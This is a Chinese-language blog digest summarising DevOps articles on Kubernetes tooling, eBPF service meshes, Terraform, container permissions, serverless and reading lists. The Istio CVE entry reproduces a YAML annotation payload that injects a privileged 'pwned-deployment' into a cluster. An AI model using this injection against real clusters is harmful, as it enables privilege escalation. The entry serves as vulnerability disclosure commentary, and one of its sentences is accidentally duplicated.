Skip to main content

· 3 min read

標題: 「Datree, Kubernetes Configuration 檢查工具」 類別: tools 連結: https://opensource.com/article/22/4/kubernetes-policies-config-datree

如同各類程式語言的測試框架, Kubernetes 的部署文件(YAML)實際上也是可以導入 CI 的概念,那到底 YAML 檔案有什麼東西需要檢驗? 最基本的概念大致上可以分成三種

  1. YAML 語法的檢查
  2. Kubernetes YAML 的語意檢查
  3. Kubernetes YAML 的設定規範檢查

除了基本的 YAML 部署外,還要考慮一下團隊是採用何種方式來管理 Kubernetes App,譬如原生 YAML, Helm, Kustomize 等各種不同方法。

(1) 的話其實最基本的方式就是使用 yq 指令,其本身就可以檢查基本的 YAML 語法,如果是 Helm 的使用者也可以透過 Helm template 的方式來嘗試渲染,渲染的過程也會幫忙檢查 YAML 的合法性。 (2) 的話其實也有其他如 kubeval 等類型的工具去幫忙檢驗 YAML 內容是否符合 Kubernees Scheme,這邊要特別注意的還有版本問題,畢竟每次升級都會有很多 API Version 被調整 (3) 的話講究的是規範,譬如要求所有 workload 都必須要描述 CPU/Memory 的Request/Limit,或是要求所有容器都要以 non-root 的身份運行, 這部分有如 kube-score,或是基於 REGO 的 conftest 等工具可以檢測。

而今天分享的這個工具 datree 基本上就是一個人包辦上述三個工具,該工具基本上有兩種模式使用

  1. local 使用,就如同上述所有工具一樣,你可以把所有策略與規則都放到本地環境,搭配 git hook, CI pipeline 等概念去執行
  2. datree 還提供了一個中央管理 Policy 的伺服器,每個運行 datree 的環境都可以與該團隊維護的 server 連動,讓你透過網頁的方式去設定想要驗證的 k8s 版本以及想要檢測的規範有哪些。

基本上這類型的工具愈來愈多,找到一個適合團隊的工具將其整合到 CI 中,讓團隊的 Kubernetes YAML 都能夠符合團隊規範,同時也透過 CI 的流程盡可能提早地找出問題

· 7 min read

標題: 「基於 eBPF 的 ServiceMesh」 類別: networking 連結: https://isovalent.com/blog/post/2021-12-08-ebpf-servicemesh

本篇文章是 2021末 由 Cilium 背後的 isovalent 公司團隊所發表的文章,主要探討一個全新的 Service Mesh 的架構可能帶來的好處,整篇文章以 Cillium + eBPF 為背景去探討 我認為如果對於 eBPF 沒有全面理解的情況下,其實只能讀懂這篇文章想要帶來的果,沒有辦法去理解到底整體實作與運作原理,同時因為 eBPF 本身的用途除了網路(Cilium)之外有愈來愈多的底層除錯工具都是透過 eBPF 的概念來實作的,因此學習 eBPF 的概念其實帶來的好處很多,有空的都推薦大家花點時間去學習。

本文主要分成幾個部分

  1. 什麼是 Service Mesh 以及目前的主流做法
  2. 聊一下 Linux 網路傳輸的歷史發展
  3. 基於 eBPF 的 Service Mesh 架構
  4. 不同架構下的差異以及可能的隱性成本

隨者分散式應用程式架構的興起,如何針對這些散落各地的應用程式提供關於網路連線方面的資訊一直以來都是維運上的問題,過往最簡單的方式就是針對各種開發環境導入相關框架 每個應用程式都需要修改來整合這些框架,但是隨者整個架構發展與要求愈來愈多,譬如開發環境有不同程式語言,甚至有不可修改的第三方應用程式,除了網路監控外還想要導入認證授權,負載平衡等各種功能 要求每個應用程式開發者引用這些框架已經沒有辦法漂亮的滿足所有需求,因此一個能夠無視應用程式本體的透明性框架架構就變成眾人追捧與渴望的解決方案。

現今大部分的 Service Mesh 就是採取這種透明性的架構,透過額外 Proxy 來攔截應用程式的封包進行後續管理與監控,使得

  1. 應用程式開發者專注自己的商業邏輯開發
  2. 第三方不可修改應用程式也可以導入這些進階網路功能

以 kubernetes 來說,目前主流都是透過 sidecar 的概念,讓每個應用程式旁邊都放一個 Proxy 的應用程式,同時基於 Pod 內 Containers 可以使用 localhost 互通的方式來處理連線。 應用程式本身都透過 localhost 打到 Proxy,而所有對外連線都讓 Proxy 幫忙處理,因此所有的進階功能都實作於該 Proxy 上。

Isovalent 認為這種方式功能面上可行,但是認為如果導入 Sidecar 其實有很多隱性成本

  1. 根據測試不管哪種 Service Mesh/Proxy 的解決方案都會使得真正連線的 Latency 提高 3~4 倍,這主因是 Linux Kernel 的架構導致,所有的網路封包 都必須要於 Linux Kernel Network Stack 來回繞行很多次,封包這種東西來回本身又會牽扯到 Context Switch, Memory Copy 等各種成本,所以整體 Latency 的提升是不可避免的。
  2. 系統的額外資源需求,每個 Pod 都需要一個額外的 Proxy 來處理,以一個 500 節點,同時每個節點都有 30 Pod 來說,整個環境就要額外部署 15,000 的 Proxy 的 Container,每個 Container 消耗 50MB 就至少要額外 750G 的記憶體, 同時也要注意隨者 Pod/Node 等數量增加,每個 Proxy 可能就需要更多的記憶體來維護這些 Mesh(網格) 之間的資訊,因此使用的 Memory 量只會愈來愈多。

所以 Cillium/Isovalent 想要引入基於 eBPF 的架構來打造一個不同架構的 Service Mesh。透過 eBPF 的架構使得整個 Service Mesh 的發生點是發生於 Kernel 階段,而非一個獨立的 Uses Proxy。 這邊帶來的改變有

  1. 基於 eBPF 的特性,其本身就有辦法針對系統上所有 Socket 去執行特定的函式,所以 Cillium 就可以偷偷去修改應用程式的網路流量,不論是修改封包內容,偵錯與監控等都可以達到
  2. 不需要如同之前一樣每個 Pod 都部署一個獨立的應用程式,取而代之的是撰寫通用的 eBPF 程式來提供各種功能
  3. 由於所有的事情都發生於 Kernel,甚至可以達到基於 Socket-level 的封包處理,所以封包不需要繞來繞去,整個處理的路徑非常的短,因此產生的 Latency 非常的小

非常對於這系列戰爭有興趣的人花點時間去把 eBPF 的概念補齊,接下來針對這系列的大戰與討論就能夠有更多的背景去理解

· 3 min read

標題: 「提升 DevOps 技術的免費書籍」 類別: others 連結: https://vladimir-mukhin.medium.com/free-books-that-will-boost-your-devops-game-to-the-next-level-5940482b0f96

本篇文章的重點很簡單

  1. 閱讀書籍提升對於 DevOps 領域的掌握度
  2. 所有書籍都是免費

這邊節錄文章中列出的所有書籍

  1. Kubernetes Up & Running — Dive into the Future of Infrastructure Kubernetes 從 2014 發行以來的八個年頭席捲全世界,作為一個 DevOps 不論你當下的環境適不適合使用 Kubernetes,你都必須要瞭解到底這個容器管理平台的魅力是什麼 為什麼可以打趴眾多競爭者成為所有容器管理平台的主要首選。 本書從開發者(Dev)以及維運者(Ops)的角度來看到底 Kubernetes 是如何提升整體工作的效率,速度與整體的靈活度

  2. Designing Distributed Systems — Patterns and Paradigms for Scalable, Reliable Services 這本由 Brendan Burns 所攥寫的書籍探討了分散式系統架構上幾個常見的設計模式,事實上這些設計模式有些都可以於 Kubernetes 的設計與用法中反覆發現 所以花點時間去研究一下大師所分享的分散式系統模式的設計理念,對於未來去學習理解新系統,或是設計一套系統都會有所幫助

  3. 97 Things Every Cloud Engineer Should Know — Collective Wisdom from the Experts 這本有紅帽所發行的免費書籍,書中收集了眾多資深雲端工程師的經驗,列舉了 97 個每個雲端工程師都應該要知道的事情,這 97 項包含很多東西,譬如 資料,自動化,網路,公司文化,個人發展,軟體開發以及雲端預算評估等眾多常見議題

  4. Linux — Notes for Professionals

  5. Production Kubernetes — Building Successful Application Platforms

  6. Git — Notes for Professionals

  7. Automate The Boring Stuff with Python — Practical Programming For Total Beginners

剩下的書本也都非常有趣,大家有需要時可以閱讀下列書籍

· 5 min read

標題: 「新手閱讀,我踩過的 Terraform 各種雷」 類別: terraform 連結: https://medium.com/contino-engineering/10-things-i-wish-i-knew-before-learning-terraform-f13637a01aa6

本篇文章作者分享自己學習與使用 Terraform 多年來遇過的各種雷,也希望藉由這類型的文章可以讓每個踏入 Terraform 的人都不要走冤枉路

  1. Make sure you have a terraform block in your configuration TF 檔案中可以透過 Terraform 區塊來描述關於 Terraform 本身的一些限制,譬如版本條件,相關的 provider 來源以及版本。 這個區塊非常重要但是本身是一個 optional 選項,所以不寫其實不影響整體功能,但是沒有去限制使用的版本範圍其實就跟任何的軟體環境一樣非常危險, 很容易踩到「昨天還可以,今天就不行的」通靈現象,所以作者希望每個人都好好的將 Terraform 區塊描述清楚,確定當前支援的版本是哪個確保該 TF 能夠用正確的版本於任何環境執行

  2. Statefile 實際上本身是純文字格式,作者想要提醒的是 State 檔案作為 Terraform 同步上最重要的檔案,其本身是一個純文字明碼的格式,這意味你運行過程中的任何帳號密碼其實都是純文字的格式存放於該檔案中。 所以 State 檔案的保存非常重要,需要用很嚴肅的資安態度來保護這個檔案,否則該檔案被人取得則你 TF 中的各種資訊都會被對方取得。 作者直接於文章中展示一個範例,該範例會創建一個 AWS aws_secretsmanager_secret_version,而該物件的 secret_id, secret_string 都會以明碼的方式被存放於 State 檔案中。

  3. Have verbose variables and outputs blocks TF 中的所有變數都可以用非常簡易的方式去宣告,但是如果妥善地利用這些內建的功能將可以使得變數的使用變得更加方便,特別是當該變數要跨 Module 使用時,呼叫者可以透過更輕易的方式 去理解該變數的格式與用法。 其中最為重要的則是 validation 的內容,作者以 AWS image_id 為範例,該變數基本上就是一個字串,所以使用者可以傳遞任何變數到該欄位去使用,但是如果搭配 validation,就可以讓 TF Apply 提早 先觀察到這些變數是否合法,能夠降低與避免不必要的失敗。 所以針對每個變數都好好的撰寫相關敘述與驗證,能夠讓團隊使用上減少無謂的猜想與溝通。

  4. Integrate your environment with a pipeline early Terraform 的入門非常容易,但是當你想要將 Terraform 導入到團隊中並且與其他人共同合作時,整個使用上的複雜度會大幅度增加。 作者認為如果真的要導入 Terraform 到整個團隊中,則要盡快且盡可能地將 Terraform 導入到現有的 pipeline 架構中,譬如 Terraform Cloud 服務 能夠幫你妥善的管理這些 Lock/State 並且透過 Terraform Apply 來執行變化。

作者還有第二篇探討剩下的用法,包含 Keep your code together as much as possible Have clear lines of demarcation on responsibility Use multiple environment files for the same code Familiarise yourself with HCL’s functions and meta-arguments Terraform is not a golden bullet

有興趣的讀者建議兩篇文章都閱讀一下

· 3 min read

標題: 「容器的除錯之路,遇到 Permission Denied 該怎麼辦」 類別: container 連結: https://live-rhes.pantheonsite.io/sysadmin/container-permission-denied-errors

作者提到大部分遇到 Container 權限問題時,最無腦的一招就是 --privileged 直接硬上權限,但是其實大家都不知道自己到底缺少什麼權限,盲目地使用 --privileged 的確可以解決問題 但是實務上卻是犧牲 Security 換來的,因為不知道缺少什麼而直接硬開,其實就是硬生生的將幾乎所有保護功能都關閉。

本篇文章就來探討當遇到權限問題時有可能是什麼造成的,以及應該如何精準地去設定這些權限而不是用一招 --privileged 跳過。 此外由於作者本身就是 Podman 開發團隊,因此文章之後的介紹與範例都會基於 Podman 來完成,

  1. 錯誤定位

如果你的容器問題透過 --privileged 也不能解決,那至少你的問題跟本篇文章的關聯性不大,或是說你的問題其實根本不是安全性方面的設定問題,只有當妳確認你的問題 可以因為 --privileged 而解決時本篇文章的內容才會對你有幫助

  1. Is SELinux the issue?
  2. Is AppArmor the issue?
  3. Test capabilities
  4. Test SECCOMP
  5. Test masked kernel filesystem

除了上述五個安全性設定外,作者也針對 namespace 探討可能會出現的問題,包含

  1. Is user namespace the issue?
  2. Is network namespace the issue?
  3. Is pid namespace the issue?

最後就是不免俗的推薦大家使用看看 rootless container,畢竟大部分的應用程式其實都沒有要寫入系統的需求,理論上來說應該都要可以運行於 rootless 的模式

整篇文章整理的非常的好,每個類別都有指令操作來介紹概念,對於這些資安控管不熟的人來說可以說是一個溫習的好機會

· 3 min read

標題: 「成為軟體架構師的閱讀之路」 類別: others 連結: https://haitham-raik.medium.com/books-for-great-software-architect-34c81fc70e12

作者認為網路上有很多文章分享想要成為一個軟體架構師應該要閱讀哪些書籍來補充知識,但是這些文章都沒有提供一個好的閱讀路徑,沒有告訴你說 這些書有什麼樣的前置條件,這群書有什麼樣的閱讀順序等,這很容易造成讀者沒有系統的四處閱讀,容易導致無聊與沮喪。

作者根據自己的經驗整理特這些書籍,並且從中找到一個閱讀順序,透過這些閱讀順序可以讓你掌握每本書籍的前置知識同時也能夠有更好的知識去思考書本所談論的內容。

作者認為軟體架構實際上還可以根據領域進行二次細分,包含

  1. 應用架構
  2. 整合架構
  3. 資料架構

不同專項其內榮與知識都不同,因此閱讀時的路徑也會不同。所以本篇文章實際是個系列文,總共會有四篇 本篇是一個探討大綱的文章,探討一下基本概念,而後續系列文則是會針對上述三個不同面向去深度探討該怎麼閱讀

要認真踏入軟體架構前,必須要先掌握基本概念,如相關技術與工具,而作者認為學習這些基本概念的路徑就是所謂的 Design Path. Design Path 中將會學習到

  1. Domain-Driver Design(DDD)
  2. Object-Oriented Design Patterns
  3. Basic agile Development conecpts
  4. Modeling using UML
  5. Respoinsiblity-driven design(RDD)
  6. ..等

針對這 Design Path,作者推薦依照順序閱讀下列書籍

  1. Applying UML and Patterns, by Larman
  2. Head First Design Patterns, by Freeman
  3. bject Design: Roles, Responsibilities and Collaboration, by Ivar
  4. Domain-Driven Design Tackling Complexity in the Heart of Software, by Eric

掌握好 Design Path 後,下一個就是 Architecture Fundamentals 的技術掌握,該過程要學習關於架構的基本概念,原則,模式與實踐方式,閱讀書籍如下

  1. Fundamentals of Software Architecture, by Mark Richards
  2. Clean Architecture, by Robert Martin
  3. Documenting Software Architecture, by Paul Clements

· 3 min read

標題: 「使用 serverless 5年後的心酸經驗談」 類別: usecases 連結: https://dev.to/brentmitchell/after-5-years-im-out-of-the-serverless-compute-cult-3f6d

本文作者想要分享自己過去五年來使用 Serveless 的經驗談,從不同角度切入導入 Serveless 後的痛點。 作者的 serverless 環境是基於 AWS 環境,使用了包含

  1. API GAteway
  2. Cognito
  3. Lambda
  4. DynamoDB
  5. DAX
  6. SQS/SNS/EventBridge

作者提及了幾個痛點,包含

  1. Testing
  2. Account Chaos
  3. Security
  4. No Fundamental Enforcement
  5. DNS Migration Failures
  6. Microservice Hell
  7. API Respones 回傳不一致

這篇文章最有趣的點不是文章本身,而是底下的留言討論,雖然有少數留言是支持作者但是大部分的人都是秉持反對的意見來看這篇文章。 我自己的角度是這篇文章提出非常多問題,但是這些問題我看不太出來跟 Serveless 的關係是什麼,更多的是公司的文化,工程品質與開發工具有關 譬如作者說團隊內有很多非資深工程師會因為 serveless 的易用而依賴自己的想法去攥寫,譬如光 Auth 就有十種不同方式。 但是仔細思考這個問題,似乎 server-based 的架構也會有這問題,完全是公司的文化與規範問題。 其他問題還有很多寫 serveless 的人都沒有 HTTP 的深厚底子,所以 200,400,500 想回就回,然後回傳格式也都沒有統一固定 這些東西其實跟 serverless 也沒有直接關係,更多依然是 Code Review 的問題,工程師品質的問題。

所以有時候看文章除了單純閱讀外,也要思考一下作者講的東西自己是否認同,同時也可以看下留言處,來自不同文化與團隊的留言往往能夠帶來更大的啟發,也是閱讀網路文章上我覺得非常有價值的地方

· 3 min read

標題: 「istio 下因為YAML 與 Go template 結合產生的 CVE」 類別: others
連結: https://paper.seebug.org/1882/

熟悉 Kubernetes 的使用者一定對於各式各樣的資源格式感到不陌生,譬如描寫一個 Pod 需要準備些關於 containers 的基本資料,其餘還有 Label, Annotation 等 各種資料需要填寫。

Kubernetes 內透過 apimachinery 的方式來驗證每個欄位是不是合法,譬如最常見的就是創建資源名稱時有時候會因為等出現格式不符合,準確來說是 Pod 的方式來驗證每個欄位是不是合法,譬如最常見的就是創建資源名稱時有時候會因為等出現格式不符合,準確來說是 透過 DNS RFC 1123 來驗證 Pod 是否合法。 部分的數值資料可能會於 Controller 中額外去檢查,至於自定義的 CRD(Customer Resource Definition) 則是創建時可以透過 openAPIV3Schema 去定義每個欄位的合法數值。

今天這篇文章要介紹的問題是跟 istio 環境的問題,當使用者創建一個名為 Gateway 的資源到叢集中時, istio 會去讀取該 Gateway 資料並且轉換為 Service/Deployment 兩個底層資源。 作者仔細研究發現創建 Service 時會從 Gateway 中的 Annotation 找到名為 "networking.istio.io/service-type" 的資料,並用其作為 Serivce 的 type.

然而 Annotation 的數值沒有並沒有任何檢查機制,所以使用者可以於該欄位 "networking.istio.io/service-type" 填入各種數值,因此作者就嘗試撰寫一個非常長的 Annotation,譬如

  annotations:
networking.istio.io/service-type: |-
"LoadBalancer"
apiVersion: apps/v1
kind: Deployment
metadata:
name: pwned-deployment
namespace: istio-ingress
spec:
selector:
matchLabels:
app: nginx
replicas: 1
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.3
ports:
- containerPort: 80
securityContext:
privileged: true

結果非常順利的, isio 最終創造了一個作者故意描述的 deployment,而該 deployment 還特別的設定 privileged: true 的選項並且透過這次的測試證明該 YAML 的檢查問題導致使用者有機會插入任何想要的資源到環境中 對本文有興趣的可以觀看一下

· 4 min read

標題: 「三座獨立 k8s cluster 還是一個跨三個地區的 k8s cluster ?」 類別: kubernetes 連結: https://itnext.io/3-reasons-to-choose-a-wide-cluster-over-multi-cluster-with-kubernetes-c923fecf4644

講到多套 kubernetes 的情況下,目前大部分的文章都會推薦用三套獨立的 kubernetes 叢集而非架設一套同時管理三個地點的 kubernetes 叢集。 本篇文章作者從不同的面向分享為什麼要選擇一個 kubernetes 管全部,而不是要架設三套 kubernetes 叢集。

Latency

一套 kubernetes 最令人詬病且很難處理的就是 Latency 的問題,作者提到 Latency 的問題會影響 ETCD ETCD 被影響後會影響整個叢集的運作,甚至連應用程式相關的處理都會變慢。

作者提到其實這個問題能夠採取兩個步驟來解決

  1. 重新安排 etcd 的節點位置,或是使用 non-etcd 的解決方案
  2. 透過 node labels 讓要使用 etcd 的服務跟 etcd 盡量靠近

註: 我是覺得這說法不能解決問題,一般應用程式要是被分散到不同地區你的存取還是有機會跨地區,除非要很認真地針對不同地區去設計 label,讓應用程式的部屬都只會固定同個地區,但是要這樣搞跟我直接搞三套不覺得後者會比較累。

Security

作者一直強調使用 mesh VPN 來打通底層所有網路封包處理,讓你一個大 k8s 管理多個地區,就不用擔心底層網路問題

單套 k8s 的好處有什麼?作者認為有

No Complicated tooling

作者提到 2021 年的 KubeConf 有各種管理多套 k8s 叢集的工具,如 KubeEdge, OpenShift Edge, Akri, Baetyl, Kubermatic, Rancher, KubeFed... 等,如果用一套大 k8s 就可以不使用這些工具,直接減少與這類型複雜工具的依賴性 一套 k8s 叢集可以讓你使用最簡單也是最習慣的方式來管理所有環境

No extra overhead

每套 K8s 環境中都會有如監控,日誌, registry 等各種工具,多套 k8s 的架構就是每個叢集都要安裝一份,但是如果採用一個大 k8s 的架構就只要維護一份即可 所以可以減少很多不必要的重複安裝。

Ultimate Flexibility

這段其實不很理解,為什麼作者這麼想要推廣 mesh VPN ...

註: 這篇文章底下有留言說探討到說 RBAC 等相關權限問題是個很大的問題,你一套 k8s 很難處理這些,事情沒有想像的這麼簡單

· 7 min read

標題: 「新一代 Helm Chart 的管理套件 helmwave」 類別: tools 連結: https://medium.com/wriketechclub/new-wave-for-helm-b9800733587f

Helm 作為現在包裝與安裝 Kubernetes 應用服務的主流方式,單單使用 Helm 很多時候不能滿足部署需求,譬如公司的業務是由多套 Helm Chart 同時組成的,這時候可能會有幾種做法

  1. 使用 Helm Dependency 的方式來產生一個 Umbrella charts 讓你可以安裝一個 Helm 實際上會把相關的服務一起搞定
  2. 透過 Helmfile 等相關工具以更上層的概念來管理你的應用,用多套 Helm Chart 來管理與部屬你的應用程式

而作者長期使用 Helmfile 來管理各種 Helm 的安裝方式,而今天作者終於發現一個相對於 Helmfile 來說更容易使用,而且整體使用方式更為簡潔的解決方案,helmwave.

Helmwave 的官方介紹很簡單, Helmwave is like docker-compoose for helm.

其本身的實作更為簡潔,直接使用 Helm Library 於整個實作中,所以下載單獨的 binary 即可,不需要如同 helmfile 一樣還要於系統中先安裝 helm 等相關工具。 文章中透過範例來示範如何滿足

  1. 服務需要安裝多套 Helm chart
  2. 有兩個不同環境, prod 與 stage 有不同的 values 要使用

整個使用的方式跟 docker-compose 有點類似,可以透過 helmwave up, helmwave down 的概念來啟動與停止服務,只不過所有的服務都是基於 k8s + helm-charts 來完成。

有使用 helmfile 的人可能會對這類型的工具比較有感覺,也許可以看看其差異性是否真的有如作者所提這麼好


標題: 「DevOps 的 2022 學習之路」 類別: others
連結: https://medium.com/faun/devops-roadmap-2022-340934d360f9

本篇文章是作者根據自己的觀察與經驗,列出 2022 需要繼續學習與觀察的 13 項技能與概念,希望讓每個 DevOps(SRE) 相關領域的人有一個方向去精進自己。

  1. Network Technologies 網路的概念短時間內很難被顛覆,所以掌握基本的 L4/L7, HTTP2/, HTTP3/(QUIC), DNS, BGP, Load-Balancing 等基本網路概念絕對不吃虧,作為一個熟悉架構的專家,能夠描述環境中的封包流向是不可缺少的能力。

  2. OS, particularly Linux Linux 很重要,請學習系統上的各種基本概念, CPU/Memory 基本概念, Init, cgroup 等

  3. CI/CD Jenkins 作為老牌的解決方案,能夠使用其實也很好,不過要注意的是現在有愈來愈多的環境嘗試使用其他的 pipeline 來搭建,所以有時間的話也可以學習一下其他的解決方式,讓自己能夠有能力去面對各種需求

  4. Containerlization/Virtualization 除了最知名的 Docker 環境外,也嘗試看看 containerd, podman 等不同專案,同時也考慮如何將 container security 的概念給導入到日常生活中

  5. Container Orchestration K8s 幾乎變成容器管理維運的 de facto 標準,單純的 k8s 叢集還不足以面對所有正式環境的問題,所以還需要搭配各個面向的概念將其整合才可以打造出一個適合團隊的 k8s 叢集。

  6. Observability at Scale 除了最基本常見的 Prometheus 之外,也看一下其他基於 Prometheus 所打造更適合大規模的架構,如 Thanos, Cortex, VictoriaMetrics 等 此外可以試試看 Continuous Profiling 等持續觀察系統效能的工具,如 Parca, Pyroscope, hypertrace 以及順便試試看導入 Open Telemetry。

  7. Platform team as a Product team 稍微有規模的團隊可能會慢慢的感覺到 Platform 逐漸轉型成為一個 Product 的概念,只不過該 Product 的面向對象是內部開發與測試人員而並非外部使用者。 整體目標就是打造一個更好的協同平臺,讓開發與測試人員能夠更有效地去滿足日常工作需求,同時 Platform team 除了維護產品之外也要教授使用人員讓他們有能力去使用該平台來滿足需求 而不是所有問題都要一直讓 Platform 的人來幫忙處理,這種模式小團隊可行,但是當團隊過大時就沒有辦法處理。

  8. Security

  9. Programming

  10. Infrastructure as Code

  11. Cloud

  12. Technical Writing

  13. Site Reliability Engineering

剩下的內容就留給有興趣的人自行到文章去觀看,每個類別都有舉出幾個趨勢與值得關注的專案,其中特別注意的是 Technical Writing 這項技能非常重要 遠端工作的趨勢使得透過文字交流的機會比過往多很多,所以如何寫出一個有效不會浪費彼此時間的設計文件,架構,開發文件等則是一個很重要的技能,所以即使是個開發人員也要努力練習 將腦中的想法有系統地呈現出來